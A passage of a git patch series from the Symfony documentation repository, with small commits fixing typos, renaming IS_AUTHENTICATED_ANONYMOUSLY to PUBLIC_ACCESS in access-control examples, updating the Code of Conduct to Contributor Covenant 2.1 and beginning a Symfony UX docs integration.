             // returns an array of arrays (i.e. a raw data set)
-            return $stmt->fetchAllAssociative();
+            return $resultSet->fetchAllAssociative();
         }
     }
 

From 7df77731b938983eb56ae6e01447921c632cdedf Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Tue, 25 Jan 2022 00:10:53 +0100
Subject: [PATCH 2987/7107] Fixed email link issue

Formatting (bold) breaks the mailto-link when used without spacing.
---
 contributing/code_of_conduct/care_team.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index d740fcfbba4..8c09a2b936f 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -21,7 +21,7 @@ Members
 
 Here are all the members of the CARE team (in alphabetic order). You can contact
 any of them directly using the contact details below or you can also contact all
-of them at once by emailing **care@symfony.com**:
+of them at once by emailing ** care@symfony.com **.
 
 * **Timo Bakx**
 

From bb9dbe31ab1664b73b228071cc59189342ac6a00 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent@morselli.fr>
Date: Sun, 23 Jan 2022 12:36:33 +0100
Subject: [PATCH 2988/7107] Typo

There was a typo where the option `--domain` is in fact `--domains`
---
 translation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/translation.rst b/translation.rst
index 2d9a66f1c35..3e726e50437 100644
--- a/translation.rst
+++ b/translation.rst
@@ -750,12 +750,12 @@ now use the following commands to push (upload) and pull (download) translations
     # push new local translations to the Loco provider for the French locale
     # and the validators domain.
     # it will **not** update existing translations already on the provider.
-    $ php bin/console translation:push loco --locales fr --domain validators
+    $ php bin/console translation:push loco --locales fr --domains validators
 
     # push new local translations and delete provider's translations that not
     # exists anymore in local files for the French locale and the validators domain.
     # it will **not** update existing translations already on the provider.
-    $ php bin/console translation:push loco --delete-missing --locales fr --domain validators
+    $ php bin/console translation:push loco --delete-missing --locales fr --domains validators
 
     # check out the command help to see its options (format, domains, locales, etc.)
     $ php bin/console translation:push --help
@@ -770,7 +770,7 @@ now use the following commands to push (upload) and pull (download) translations
     # pull new translations from the Loco provider to local files for the French
     # locale and the validators domain.
     # it will **not** overwrite your local files, only add new translations.
-    $ php bin/console translation:pull loco --locales fr --domain validators
+    $ php bin/console translation:pull loco --locales fr --domains validators
 
     # check out the command help to see its options (format, domains, locales, intl-icu, etc.)
     $ php bin/console translation:pull --help

From 7e3106bb58748871902a660c68b8da2b96efa982 Mon Sep 17 00:00:00 2001
From: issamkhadiri1989 <khadiri.issam@gmail.com>
Date: Mon, 24 Jan 2022 23:08:10 +0100
Subject: [PATCH 2989/7107] Update extension.rst

when using  `DependencyInjection\Extension\Extension`, the `addAnnotatedClassesToCompile` is not available. so it should be mentionned that we need to use `HttpKernel\DependencyInjection\Extension` instead when the method `addAnnotatedClassesToCompile`  must be used
---
 bundles/extension.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/extension.rst b/bundles/extension.rst
index edbcb5cd270..bbbfd398018 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -34,7 +34,7 @@ This is how the extension of an AcmeHelloBundle should look like::
     namespace Acme\HelloBundle\DependencyInjection;
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\DependencyInjection\Extension\Extension;
+    use Symfony\Component\HttpKernel\DependencyInjection\Extension;
 
     class AcmeHelloExtension extends Extension
     {

From a76494f95036cbdc96507f1f6c566072b99e8bc2 Mon Sep 17 00:00:00 2001
From: Igor <31731246+fzsys@users.noreply.github.com>
Date: Fri, 21 Jan 2022 09:32:56 +0200
Subject: [PATCH 2990/7107] Update unit_testing.rst

---
 create_framework/unit_testing.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index b71eea34f50..c3801481a3f 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -8,8 +8,13 @@ on it will exhibit the same bugs. The good news is that whenever you fix a
 bug, you are fixing a bunch of applications too.
 
 Today's mission is to write unit tests for the framework we have created by
-using `PHPUnit`_. Create a PHPUnit configuration file in
-``example.com/phpunit.xml.dist``:
+using `PHPUnit`_. At first, install PHPUnit as a development dependency:
+
+.. code-block:: terminal
+
+    $ composer require --dev phpunit/phpunit
+
+Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
 .. code-block:: xml
 

From 4efdd760db1be434254e10bb114456272c9f67df Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 25 Jan 2022 14:54:34 +0100
Subject: [PATCH 2991/7107] Include match examples in the code block

---
 components/string.rst | 26 ++++++++++----------------
 1 file changed, 10 insertions(+), 16 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 3fc50077094..d5110cac96f 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -318,6 +318,16 @@ Methods to Search and Replace
     // checks if the string contents are exactly the same as the given contents
     u('foo')->equalsTo('foo'); // true
 
+    // checks if the string content match the given regular expression.
+    // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER
+    // or PREG_SET_ORDER are passed, preg_match_all() will be used.
+    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
+    // result = ['avatar-73647.png', '73647']
+    u('avatar-73647.png')->match('/avatar-(\d+)(-\d+)?\.png/', \PREG_UNMATCHED_AS_NULL);
+    // result = ['avatar-73647.png', '73647', null]
+    u('206-555-0100 and 800-555-1212')->match('/\d{3}-\d{3}-\d{4}/', \PREG_PATTERN_ORDER);
+    // result = [['206-555-0100', '800-555-1212']]
+
     // checks if the string contains any of the other given strings
     u('aeiou')->containsAny('a');                 // true
     u('aeiou')->containsAny(['ab', 'efg']);       // false
@@ -354,22 +364,6 @@ Methods to Search and Replace
 
     The ``containsAny()`` method was introduced in Symfony 5.1.
 
-::
-
-You can use ``match()`` to search with a Regular Expression::
-
-    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
-    // result = ['avatar-73647.png', '73647']
-
-By default, PHP's ``preg_match()`` is used, and you can pass search flags as second argument::
-
-    $string->match('/(a)(b)/', \PREG_UNMATCHED_AS_NULL);
-
-When passing ``\PREG_PATTERN_ORDER`` or ``\PREG_SET_ORDER``, PHP's ``preg_match_all()`` is used.
-Multiple flags can be set with the `|` operator::
-
-    $string->match('/(a)(b)/', \PREG_PATTERN_ORDER|\PREG_UNMATCHED_AS_NULL);
-
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f6c1ad92611b1f5d87c2cc81687002d5e85eda86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Jan 2022 17:04:24 +0100
Subject: [PATCH 2992/7107] [Config] PHP config files are loaded again

---
 configuration.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index de4af5f2a37..175c7cf1c86 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -76,10 +76,13 @@ readable. These are the main advantages and disadvantages of each format:
 
 .. note::
 
-    By default Symfony only loads the configuration files defined in YAML
-    format. If you define configuration in XML and/or PHP formats, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file
-    extensions.
+    By default Symfony loads the configuration files defined in YAML and PHP
+    formats. If you define configuration in XML format, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` file extension.
+
+    .. versionadded:: 6.1
+
+        The automatic loading of PHP configuration files was introduced in Symfony 6.1.
 
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From a358418348cc1bca21f487c2a487950f13e7a1f9 Mon Sep 17 00:00:00 2001
From: Nicolas Jourdan <nicolas.jourdan.c@gmail.com>
Date: Wed, 26 Jan 2022 00:52:04 +0100
Subject: [PATCH 2993/7107] Update Traverse.rst

Added missing ";"
---
 reference/constraints/Traverse.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index dfb92943050..2302139cbb9 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -25,7 +25,7 @@ that all have constraints on their properties.
         namespace App\Entity;
 
         use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection
+        use Doctrine\Common\Collections\Collection;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 

From 1ba8dd93f04ce698230ee798c6fcb535e0f73339 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ole=20R=C3=B6=C3=9Fner?= <o.roessner@neusta.de>
Date: Thu, 27 Jan 2022 20:22:02 +0100
Subject: [PATCH 2994/7107] hint about creating config/routes/annotations.yaml
 as well, when using attributes without doctrine/annotations.

---
 routing.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 9f7a1fca581..f1b189c6053 100644
--- a/routing.rst
+++ b/routing.rst
@@ -41,7 +41,10 @@ once in your application to enable them:
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate controller actions with routing configuration.
 
-This command also creates the following configuration file:
+If you are using :ref:`Symfony Flex <symfony-flex>` this command also
+creates the following configuration file and you're done. If you aren't
+using flex or want to use attributes, the file has to be added manually.
+``type: annotation`` applies for attributes, too.
 
 .. code-block:: yaml
 
@@ -54,8 +57,9 @@ This command also creates the following configuration file:
         resource: ../../src/Kernel.php
         type: annotation
 
-This configuration tells Symfony to look for routes defined as annotations in
-any PHP class stored in the ``src/Controller/`` directory.
+This configuration tells Symfony to look for routes defined as
+annotations/attributes in any PHP class stored in the ``src/Controller/``
+directory.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:
@@ -1384,7 +1388,7 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
@@ -1504,7 +1508,7 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;

From 279da7d7082c01a7f6d3d6148602ca7b2712c6ae Mon Sep 17 00:00:00 2001
From: Kamil P <pesek.kamil@seznam.cz>
Date: Fri, 28 Jan 2022 14:16:44 +0100
Subject: [PATCH 2995/7107] Update access_control.rst

I believe there should be PUBLIC_ACCESS instead of IS_AUTHENTICATED_ANONYMOUSLY for Symfony 6
---
 security/access_control.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index a19faee19ba..04b05f8bfb4 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -236,7 +236,7 @@ pattern so that it is only accessible by requests from the local server itself:
             access_control:
                 #
                 # the 'ips' option supports IP addresses and subnet masks
-                - { path: '^/internal', roles: IS_AUTHENTICATED_ANONYMOUSLY, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
+                - { path: '^/internal', roles: PUBLIC_ACCESS, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
                 - { path: '^/internal', roles: ROLE_NO_ACCESS }
 
     .. code-block:: xml
@@ -255,7 +255,7 @@ pattern so that it is only accessible by requests from the local server itself:
                 <!-- ... -->
 
                 <!-- the 'ips' option supports IP addresses and subnet masks -->
-                <rule path="^/internal" role="IS_AUTHENTICATED_ANONYMOUSLY">
+                <rule path="^/internal" role="PUBLIC_ACCESS">
                     <ip>127.0.0.1</ip>
                     <ip>::1</ip>
                 </rule>
@@ -274,7 +274,7 @@ pattern so that it is only accessible by requests from the local server itself:
 
             $security->accessControl()
                 ->path('^/internal')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 // the 'ips' option supports IP addresses and subnet masks
                 ->ips(['127.0.0.1', '::1'])
             ;
@@ -302,7 +302,7 @@ address):
 
 * Now, the first access control rule is enabled as both the ``path`` and the
   ``ip`` match: access is allowed as the user always has the
-  ``IS_AUTHENTICATED_ANONYMOUSLY`` role.
+  ``PUBLIC_ACCESS`` role.
 
 * The second access rule is not examined as the first rule matched.
 
@@ -407,7 +407,7 @@ access those URLs via a specific port. This could be useful for example for
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, port: 8080 }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, port: 8080 }
 
     .. code-block:: xml
 
@@ -424,7 +424,7 @@ access those URLs via a specific port. This could be useful for example for
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     port="8080"
                 />
             </config>
@@ -440,7 +440,7 @@ access those URLs via a specific port. This could be useful for example for
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->port(8080)
             ;
         };
@@ -461,7 +461,7 @@ the user will be redirected to ``https``:
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, requires_channel: https }
 
     .. code-block:: xml
 
@@ -478,7 +478,7 @@ the user will be redirected to ``https``:
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     requires-channel="https"
                 />
             </config>
@@ -494,7 +494,7 @@ the user will be redirected to ``https``:
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->requiresChannel('https')
             ;
         };

From bd8b2624bb66518eb950f726debb38b12eb61f7b Mon Sep 17 00:00:00 2001
From: Justas Bieliauskas <justyvas0@gmail.com>
Date: Sun, 30 Jan 2022 14:54:39 +0200
Subject: [PATCH 2996/7107] Fix YAML example in "Defining a Service Locator"
 section

Service locator is a first constructor argument but is passed as an array of constructor arguments.
---
 service_container/service_subscribers_locators.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a0316738d8e..72971213618 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -256,9 +256,10 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments: !service_locator
-                    App\FooCommand: '@app.command_handler.foo'
-                    App\BarCommand: '@app.command_handler.bar'
+                arguments: 
+                  - !service_locator
+                      App\FooCommand: '@app.command_handler.foo'
+                      App\BarCommand: '@app.command_handler.bar'
 
     .. code-block:: xml
 

From db5ca24b9b0df55bc59b982d9acb757587ef825f Mon Sep 17 00:00:00 2001
From: TimoBakx <timobakx@gmail.com>
Date: Mon, 24 Jan 2022 17:26:19 +0100
Subject: [PATCH 2997/7107] Updated Code of Conduct text to version 2.1 of the
 Contributor Covenant

---
 .github/CODE_OF_CONDUCT.md                    |  12 --
 CODE_OF_CONDUCT.md                            |  83 -----------
 .../code_of_conduct/code_of_conduct.rst       | 138 ++++++++++++------
 3 files changed, 95 insertions(+), 138 deletions(-)
 delete mode 100644 .github/CODE_OF_CONDUCT.md
 delete mode 100644 CODE_OF_CONDUCT.md

diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md
deleted file mode 100644
index 9a4e5a2cedc..00000000000
--- a/.github/CODE_OF_CONDUCT.md
+++ /dev/null
@@ -1,12 +0,0 @@
-Code of Conduct
-===============
-
-This project follows a [Code of Conduct][code_of_conduct] in order to ensure an
-open and welcoming environment. Please read the full text for understanding the
-accepted and unaccepted behavior.
-
-Please read also the [reporting guidelines][guidelines], in case you encountered
-or witnessed any misbehavior.
-
-[code_of_conduct]: https://symfony.com/doc/current/contributing/code_of_conduct/code_of_conduct.html
-[guidelines]: https://symfony.com/doc/current/contributing/code_of_conduct/reporting_guidelines.html
diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
deleted file mode 100644
index 03828e75d73..00000000000
--- a/CODE_OF_CONDUCT.md
+++ /dev/null
@@ -1,83 +0,0 @@
-Code of Conduct
-===============
-
-Our Pledge
-----------
-
-In the interest of fostering an open and welcoming environment, we as
-contributors and maintainers pledge to making participation in our project and
-our community a harassment-free experience for everyone, regardless of age, body
-size, disability, ethnic origin, gender identity and expression, level of
-experience, education, socio-economic status, nationality, personal appearance,
-religion, or sexual identity and orientation.
-
-Our Standards
--------------
-
-Examples of behavior that contributes to creating a positive environment
-include:
-
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
-
-Examples of unacceptable behavior by participants include:
-
-* The use of sexualized language or imagery and unwelcome sexual attention or
-  advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic
-  address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a
-  professional setting
-
-Our Responsibilities
---------------------
-
-[CoC Active Response Ensurers, or CARE][1], are responsible for clarifying the
-standards of acceptable behavior and are expected to take appropriate and fair
-corrective action in response to any instances of unacceptable behavior.
-
-CARE team members have the right and responsibility to remove, edit, or reject
-comments, commits, code, wiki edits, issues, and other contributions that are
-not aligned to this Code of Conduct, or to ban temporarily or permanently any
-contributor for other behaviors that they deem inappropriate, threatening,
-offensive, or harmful.
-
-Scope
------
-
-This Code of Conduct applies both within project spaces and in public spaces
-when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project email
-address, posting via an official social media account, or acting as an appointed
-representative at an online or offline event. Representation of a project may be
-further defined and clarified by CARE team members.
-
-Enforcement
------------
-
-Instances of abusive, harassing, or otherwise unacceptable behavior
-[may be reported][2] by contacting the [CARE team members][1].
-All complaints will be reviewed and investigated and will result in a response
-that is deemed necessary and appropriate to the circumstances. The CARE team is
-obligated to maintain confidentiality with regard to the reporter of an
-incident. Further details of specific enforcement policies may be posted
-separately.
-
-CARE team members who do not follow or enforce the Code of Conduct in good
-faith may face temporary or permanent repercussions as determined by the
-[core team][3].
-
-Attribution
------------
-
-This Code of Conduct is adapted from the [Contributor Covenant version 1.4][4].
-
-[1]: https://symfony.com/doc/current/contributing/code_of_conduct/care_team.html
-[2]: https://symfony.com/doc/current/contributing/code_of_conduct/reporting_guidelines.html
-[3]: https://symfony.com/doc/current/contributing/code/core_team.html
-[4]: https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index dcaf5f8ce9e..6202fdad424 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -4,12 +4,15 @@ Code of Conduct
 Our Pledge
 ----------
 
-In the interest of fostering an open and welcoming environment, we as
-contributors and maintainers pledge to making participation in our project and
-our community a harassment-free experience for everyone, regardless of age, body
-size, disability, ethnic origin, gender identity and expression, level of experience,
-education, socio-economic status, nationality, personal appearance,
-religion, or sexual identity and orientation.
+We as members, contributors, and leaders pledge to make participation in our
+community a harassment-free experience for everyone, regardless of age, body
+size, visible or invisible disability, ethnicity, sex characteristics, gender
+identity and expression, level of experience, education, socio-economic status,
+nationality, personal appearance, race, caste, color, religion, or sexual
+identity and orientation.
+
+We pledge to act and interact in ways that contribute to an open, welcoming,
+diverse, inclusive, and healthy community.
 
 Our Standards
 -------------
@@ -17,67 +20,115 @@ Our Standards
 Examples of behavior that contributes to creating a positive environment
 include:
 
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
+* Demonstrating empathy and kindness toward other people
+* Being respectful of differing opinions, viewpoints, and experiences
+* Giving and gracefully accepting constructive feedback
+* Accepting responsibility and apologizing to those affected by our mistakes,
+  and learning from the experience
+* Focusing on what is best not just for us as individuals, but for the overall
+  community
 
-Examples of unacceptable behavior by participants include:
+Examples of unacceptable behavior include:
 
-* The use of sexualized language or imagery and unwelcome sexual attention or
-  advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
+* The use of sexualized language or imagery, and sexual attention or advances of
+  any kind
+* Trolling, insulting or derogatory comments, and personal or political attacks
 * Public or private harassment
-* Publishing others' private information, such as a physical or electronic
-  address, without explicit permission
+* Publishing others’ private information, such as a physical or email address,
+  without their explicit permission
 * Other conduct which could reasonably be considered inappropriate in a
   professional setting
 
 Our Responsibilities
 --------------------
 
-:doc:`CoC Active Response Ensurers, or CARE </contributing/code_of_conduct/care_team>`,
-are responsible for clarifying the standards of acceptable
-behavior and are expected to take appropriate and fair corrective action in
-response to any instances of unacceptable behavior.
+:doc:`CoC Active Response Ensurers (CARE) team members </contributing/code_of_conduct/care_team>`
+are responsible for clarifying and enforcing our standards of acceptable
+behavior and will take appropriate and fair corrective action in response to any
+behavior that they deem inappropriate, threatening, offensive, or harmful.
 
-CARE team members have the right and responsibility to remove, edit, or
-reject comments, commits, code, wiki edits, issues, and other contributions
-that are not aligned to this Code of Conduct, or to ban temporarily or
-permanently any contributor for other behaviors that they deem inappropriate,
-threatening, offensive, or harmful.
+CARE team members have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are
+not aligned to this Code of Conduct, and will communicate reasons for moderation
+decisions when appropriate.
 
 Scope
 -----
 
-This Code of Conduct applies both within project spaces and in public spaces
-when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project email
-address, posting via an official social media account, or acting as an appointed
-representative at an online or offline event. Representation of a project may be
-further defined and clarified by CARE team members.
+This Code of Conduct applies within all community spaces, and also applies when
+an individual is officially representing the community in public spaces.
+Examples of representing our community include using an official e-mail address,
+posting via an official social media account, or acting as an appointed
+representative at an online or offline event.
 
 Enforcement
 -----------
 
 Instances of abusive, harassing, or otherwise unacceptable behavior
-:doc:`may be reported </contributing/code_of_conduct/reporting_guidelines>`
-by contacting the :doc:`CARE team members </contributing/code_of_conduct/care_team>`.
-All complaints will be reviewed and investigated and will result in a response that
-is deemed necessary and appropriate to the circumstances. The CARE team is
-obligated to maintain confidentiality with regard to the reporter of an incident.
-Further details of specific enforcement policies may be posted separately.
+:doc:`may be reported </contributing/code_of_conduct/reporting_guidelines>` by
+contacting the :doc:`CARE team members </contributing/code_of_conduct/care_team>`.
+All complaints will be reviewed and investigated promptly and fairly.
+
+CARE team members are obligated to respect the privacy and security of the
+reporter of any incident.
+
+Enforcement Guidelines
+----------------------
+
+The :doc:`CARE team members </contributing/code_of_conduct/care_team>` will
+follow these Community Impact Guidelines in determining the consequences for any
+action they deem in violation of this Code of Conduct:
+
+1. Correction
+~~~~~~~~~~~~~
+
+Community Impact: Use of inappropriate language or other behavior deemed
+unprofessional or unwelcome in the community.
+
+Consequence: A private, written warning from a CARE team member, providing
+clarity around the nature of the violation and an explanation of why the
+behavior was inappropriate. A public apology may be requested.
+
+2. Warning
+~~~~~~~~~~
 
-CARE team members who do not follow or enforce the Code of Conduct in good
-faith may face temporary or permanent repercussions as determined by the
-:doc:`core team </contributing/code/core_team>`.
+Community Impact: A violation through a single incident or series of actions.
+
+Consequence: A warning with consequences for continued behavior. No interaction
+with the people involved, including unsolicited interaction with those enforcing
+the Code of Conduct, for a specified period of time. This includes avoiding
+interactions in community spaces as well as external channels like social media.
+Violating these terms may lead to a temporary or permanent ban.
+
+3. Temporary Ban
+~~~~~~~~~~~~~~~~
+
+Community Impact: A serious violation of community standards, including
+sustained inappropriate behavior.
+
+Consequence: A temporary ban from any sort of interaction or public
+communication with the community for a specified period of time. No public or
+private interaction with the people involved, including unsolicited interaction
+with those enforcing the Code of Conduct, is allowed during this period.
+Violating these terms may lead to a permanent ban.
+
+4. Permanent Ban
+~~~~~~~~~~~~~~~~
+
+Community Impact: Demonstrating a pattern of violation of community standards,
+including sustained inappropriate behavior, harassment of an individual, or
+aggression toward or disparagement of classes of individuals.
+
+Consequence: A permanent ban from any sort of public interaction within the
+community.
 
 Attribution
 -----------
 
-This Code of Conduct is adapted from the `Contributor Covenant`_, version 1.4,
-available at https://www.contributor-covenant.org/version/1/4/code-of-conduct/
+This Code of Conduct is adapted from the `Contributor Covenant`_, version 2.1,
+available at https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
+
+Community Impact Guidelines were inspired by `Mozilla’s code of conduct enforcement ladder`_.
 
 Related Documents
 -----------------
@@ -90,3 +141,4 @@ Related Documents
     concrete_example_document
 
 .. _Contributor Covenant: https://www.contributor-covenant.org
+.. _Mozilla’s code of conduct enforcement ladder: https://github.com/mozilla/diversity

From 6d80ef905b259c9510e2ffb0853f078410f3d28a Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Sun, 30 Jan 2022 01:30:31 +0000
Subject: [PATCH 2998/7107] tidy MESSENGER_CONSUMER_NAME

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 19702d4330e..bbdb25f8775 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1504,7 +1504,7 @@ sentinel_master          String, if null or empty Sentinel      null
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
     handled more than once. If you run multiple queue workers, ``consumer`` can be set to an
-    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%``) set by Supervisor
+    environment variable, like ``%env(MESSENGER_CONSUMER_NAME)%``, set by Supervisor
     (example below) or any other service used to manage the worker processes.
     In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
     there is only one worker per container/host. If using Kubernetes to orchestrate the

From 4177f813ea96ce9f00f07578aee72a4b9cf50f86 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Sun, 16 Jan 2022 20:50:27 -0500
Subject: [PATCH 2999/7107] [WIP] Integrating UX docs more closely into Symfony
 docs

---
 .github/workflows/ci.yaml          |   2 +-
 frontend.rst                       |   5 +
 frontend/_ux-libraries.rst.inc     |  18 ++
 frontend/encore/simple-example.rst | 258 ++++++++++++++++++++---------
 frontend/ux.rst                    | 145 ++++++++++++++++
 reference/forms/types/map.rst.inc  |  19 +++
 templates.rst                      |  29 +++-
 7 files changed, 388 insertions(+), 88 deletions(-)
 create mode 100644 frontend/_ux-libraries.rst.inc
 create mode 100644 frontend/ux.rst

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6c10a4eaf9b..6750bd8eb20 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -118,7 +118,7 @@ jobs:
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker _checker
+            run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
diff --git a/frontend.rst b/frontend.rst
index 5ab7bf9baaa..ef264acffa9 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -86,6 +86,11 @@ Full API
 
 * `Full API`_
 
+Symfony UX Components
+---------------------
+
+.. include:: /frontend/_ux-libraries.rst.inc
+
 Other Front-End Articles
 ------------------------
 
diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
new file mode 100644
index 00000000000..76e6ea7f5bb
--- /dev/null
+++ b/frontend/_ux-libraries.rst.inc
@@ -0,0 +1,18 @@
+* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
+* `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
+* `ux-twig-component`_: Build Twig Components Backed by a PHP Class
+* `ux-chartjs`_: Easy charts with Chart.js
+* `ux-lazy-image`_: Optimize Image Loading with BlurHash
+* `ux-cropperjs`_: Form Type and tools for cropping images
+* `ux-dropzone`_: Form type for stylized "drop zone" for file uploads
+* `ux-swup`_: Integration with Swup
+
+.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
+.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`ux-chartjs`: https://symfony.com/bundles/ux-chart-js/current/index.html
+.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
+.. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
+.. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
+.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
+.. _`Turbo Drive`: https://turbo.hotwired.dev/
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index cd7cd8ffbcc..349a4bbbd1e 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -1,11 +1,14 @@
 Encore: Setting up your Project
 ===============================
 
-After :doc:`installing Encore </frontend/encore/installation>`, your app already has one
